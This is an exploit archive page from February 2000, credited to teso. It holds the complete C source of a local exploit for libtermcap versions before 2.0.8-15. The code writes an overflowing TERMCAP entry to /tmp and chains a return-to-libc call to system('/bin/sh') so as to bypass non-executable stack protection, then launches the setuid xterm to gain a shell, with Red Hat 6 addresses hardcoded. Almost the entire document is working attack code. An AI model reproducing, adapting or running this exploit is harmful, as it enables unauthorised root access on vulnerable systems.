exploit the possibilities

libtermcapsploit.c

libtermcapsploit.c
Posted Feb 11, 2000
Authored by teso

lame libtermcap sploit

MD5 | 2bb2b528d9023c77e63899d0eefe4621

libtermcapsploit.c

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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

// yet another lame libtermcap<2.0.8-15 sploit by typo@scene.at (libc jumpback)
// only made this to bypass nonexecutable stack patches - http://teso.scene.at/

// Redhat 6 offsets (i only needed these)
int sys = 0x401bca40; // system
int sh = 0x4025ab12; // /bin/sh
int exi = 0x4020b910; // _exit
int ran = 0x401b9928; // random offset in libc
int eip = 2136;
#define fil "/tmp/teso_termcap"
#define xte "/usr/X11R6/bin/xterm"
#define entry "xterm|"

int main(int argc, char **argv) {
char *buf;
int fd, buflen;

argv++;

if (argc>1) // dec,!hex args
sys = atoi(*(argv++));
if (argc>2)
sh = atoi(*(argv++));
if (argc>3)
exi = atoi(*(argv++));
if (argc>4)
eip = atoi(*(argv++));

buflen = eip + 20;

buf = (char *) malloc(buflen);
memset(buf, 'x', buflen);
buf[buflen] = 0;

memcpy(buf, entry, strlen(entry));
memcpy (buf+buflen-4,":\\y",3);

memcpy(buf+eip,&sys,4);
memcpy(buf+eip+4,&exi,4);
memcpy(buf+eip+8,&sh,4);
memcpy(buf+eip+12,&ran,4);

if ( (fd = open(fil, O_WRONLY|O_CREAT|O_TRUNC, "644"))<0) {
perror("cannot create file");
exit(EXIT_FAILURE);
}

write(fd,buf,buflen);
close(fd);
free(buf);

setenv("TERMCAP", fil, 1);
execl(xte, "xterm", NULL);
exit(EXIT_SUCCESS);
}

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